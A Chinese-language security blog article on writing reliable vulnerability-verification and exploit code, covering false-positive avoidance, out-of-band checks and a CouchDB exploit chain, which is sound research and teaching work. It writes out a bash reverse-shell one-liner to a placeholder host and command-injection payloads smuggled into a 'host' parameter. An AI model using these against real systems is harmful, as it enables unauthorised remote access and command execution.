本文作者: LandGrey(信安之路核心成员)
有朋友问我近段日子做了些什么工作,作为安全研究员或者漏洞分析者最基础的工作之一,最近写了不少漏洞验证和利用的POC&EXP
。所以就想结合下自己的经验和体会,分享下正确编写漏洞验证
和漏洞利用
代码的一些心得以及编写代码时需要避免的一些常见错误。
本文适合有些漏洞验证和利用代码编写经验的人员阅读,文章里的一些观点可能与诸君不符,可以忽略,可以提出新的见解,还请多多包涵。
已有人总结过 《漏洞检测的那些事儿》:
https://blog.knownsec.com/2016/06/how-to-scan-and-check-vulnerabilities/
文章里很好的提出编写漏洞验证代码时需要注意的 三个准则
,简单总结和补充如下:
保证关键变量、数据和无明显含义要求的值应该具有随机性。
如: 上传文件的文件名,webshell 密码,print 的值,探测 404 页面使用的路径等。
通过返回的内容找到唯一确定的标识来说明该漏洞是否存在。
验证漏洞尽可能达到与漏洞利用时同样的水准,勿使用单一模糊的条件去判断,如HTTP状态码、固定页面内容等来判定漏洞是否存在。
比如验证文件上传漏洞,最好上传真实的文件进行判断;验证通过不常见的API接口未授权添加管理员,仅是通过判断不常见的API接口是否存在来判定漏洞是否存在是不够的,最好是要实际去添加一个管理员用户,最后按照添加成功与否来判定这个漏洞是否存在。
兼顾各个环境或平台,兼顾存在漏洞应用的多个常见版本。
勿只考虑漏洞复现的单一环境,要考虑到存在漏洞的应用的不同版本、安装应用的不同操作系统、API接口、参数名、路径前缀、执行命令等的不同情况。
有效验证漏洞的前提下尽可能避免对目标造成损害。
验证漏洞时,在有效验证漏洞的前提下,尽量不改写、添加、删除数据,不上传、删除文件。可以的话,验证漏洞完毕后应恢复数据和验证漏洞前的数据一致。
如果根据实际可操作性,对主流的漏洞验证方法定义,梳理和总结如下:
即可直接通过目标的不同响应和状态来判断目标是否存在漏洞,主要包括下面四种方法:
最直接的漏洞存在的判定方法,受我们的输入控制影响,目标响应中完整输出了我们期望的结果。
使目标处理我们输入的数据时内部错误,并在错误的输出中携带了受我们期望的结果。
将结果或标志写入目标文件或数据库等类似数据存储系统,并尝试读取存储的内容来判断目标是否存在漏的方法。
通过控制在目标机器上执行的代码,让目标机器等待N秒后再响应我们的请求。
在延时SQL注入
、执行命令 sleep
、执行代码 sleep
等漏洞判定应用场景里常有不可替代的重要作用。
通过控制目标向第三方发送信息,通过第三方是否接收到信息来判定目标是否存在漏洞,主要包括下面几种方法:
当目标可解析域名并且允许请求外网 DNS 服务器时使用,因为有部分机器默认允许请求外网 DNS 服务器而且防火墙也不会轻易拦截,所以此方法已被广泛使用。JAVA 反序列化中的 URLDNS
payload 就是属于此判断方法。
在目标可以对外发送 TCP 请求时,使用 Web 服务器接收目标发送而来的请求,以此来判断我们可以控制目标发送请求到特定第三方 Web 服务器,目标存在漏洞。
虽然灵活运用各种漏洞验证方法可以有效的验证漏洞是否存在,但是对于仅使用单一方法来验证漏洞是否存在时,我倾向于下面的方法优先级:
之所以把漏洞利用
和漏洞验证
分开来叙述,是因为在我看来漏洞利用
才是安全研究人员需要额外注意的部分,也是最能体现安全研究水平和代码编写水准的方面。
不少安全研究人员可能仅出于研究目的,或因为怕研究成果被恶意利用,再加上编写 漏洞验证
代码通常比真实的 漏洞利用
代码更为简单,所以通常仅是给出一个十分简单的漏洞验证
步骤或 demo 代码。漏洞之所以被重视,根本原因是某些漏洞被利用后能对目标造成很大的损害,这不是一个 CVE 编号或者高中低危评价就能够衡量的,而是由真实的漏洞利用代码来评判的。
结合自己的漏洞利用代码编写经验,遵守的准则主要有以下几个部分:
优先将漏洞成功利用获得的信息显示出来。
比如对于一个命令执行漏洞,漏洞利用代码应该朝着直接获得执行的命令的输出结果
去努力,而不是一开始就去尝试做反弹 shell、写文件读取达到回显效果这种事。
具体说,我曾经编写过一份结合 CVE-2017-12635
和CVE-2017-12636
两个漏洞的代码。CouchDB
先垂直越权添加管理员用户,然后利用添加的管理员用户通过Authorization
头认证,创建新数据库,将执行命令的结果存储到该数据库,最后从该数据库中读取执行命令的结果,再删除该数据库,从而达到执行命令结果回显的目的。
直接显示漏洞执行成功获得的结果
拥有较高的错误兼容性,不会因为目标不能直接连接互联网、不解析域名、无权限写文件、文件路径可能不唯一等等原因导致的一些判断漏洞存在却利用不成功的情况。
要综合考虑到应用版本、操作系统环境、网络等原因,写出兼容各种应用版本并可以稳定复现的漏洞利用
代码。
稳定利用里有两个问题需要额外注意:
一是编写的代码是否考虑到了存在漏洞的应用的不同版本之间的差异。比如 API 接口变化、路径变化等,可能会导致相当一部分的漏洞利用不成功;
二是执行代码
优于执行命令
。比如现在常见的一个示例的就是利用代码执行
漏洞进行反弹 shell 的利用,演示用的多是利用执行类似 /bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1
的命令来反弹 shell。
这里面有个降级利用
的概念,即代码执行
却常被当做 命令执行
来使用,但是 代码执行
一般比命令执行
可操作性更大,更稳定。
当只利用漏洞进行执行命令
时,这当然没有什么问题,但是当用执行命令来反弹 shell 时,就会出现比较大的问题。比如,只适合 Linux 类系统,而且有些 docker、busybox 之类的精简环境可能没有 /bin/bash
,或者不支持命令行下的反弹 shell,这些都会让漏洞利用不成功。
这种情况下的正确做法应该是优先执行一段代码,而不是降级
之后的执行命令来完成复杂的操作。
在能达到相同利用效果的情况下,选择最简单的实现路径。
比如最近的写的一个 flink-unauth-rce:
https://github.com/LandGrey/flink-unauth-rce
漏洞利用,最优雅的方式是根据 flink api 来实现执行命令回显这个功能,但是势必要花点时间去学习和构造代码,不如直接利用程序报错回显,在报错结果中提取出执行命令的结果,省时省力效果良好。
比如,通过 GET 请求路径
/hard-to-guest-path/there/is/vulnerable
然后判断漏洞存在的核心逻辑是状态码 200,并且响应中存在 admin
关键词。
虽然请求路径比较特殊,但是考虑到有些网站总是返回 200 状态码,并且admin
作为关键词过于普通,所以容易产生误报。
比如检测一个可以回显的 GET 型命令执行漏洞,构造了如下的 payload
/api/ping?host=127.1|echo+79c363c6044c4c58
然后判断漏洞存在的核心逻辑是关键词 79c363c6044c4c58
出现在返回状态码是 200 的目标 response 中。
这类将判断漏洞存在的关键词放置在 GET 请求的 URL 中,有些网站在请求不存在的路径时,也会返回 200 状态码,而且会将请求的 URL 全部返回到 response 中,这样就产生了误报。
当然,不止 GET 请求,POST 等请求类型的漏洞验证也会存在此类问题。比如 POST 发包:
POST: /api/pingDATA: host=127.1|echo+79c363c6044c4c58
有些网站在接收到不能处理的请求时,会将 POST 的所有数据包括 HTTP Header 等回显到页面, 这时候判断关键词就会产生误报。
规则是死的,人是活的。为了编写出符合要求的代码,在指定的要求、特殊情况下可以牺牲一些方面的准则特性来强化其他方面的准则特性。
比如,某些情况下付出 30% 的精力就可以编写出覆盖 90% 应用环境的代码,如果钻牛角尖,要付出 100% 的精力,编写出适合 99% 应用环境的代码,是无法享受漏洞研究到漏洞利用这整个过程的。
作为一名有追求的安全研究人员,不应该浅尝辄止于普通漏洞验证
代码的编写,良好的漏洞利用
代码的编写才能显示出漏洞的真正危害,体会到漏洞利用
代码编写的精髓。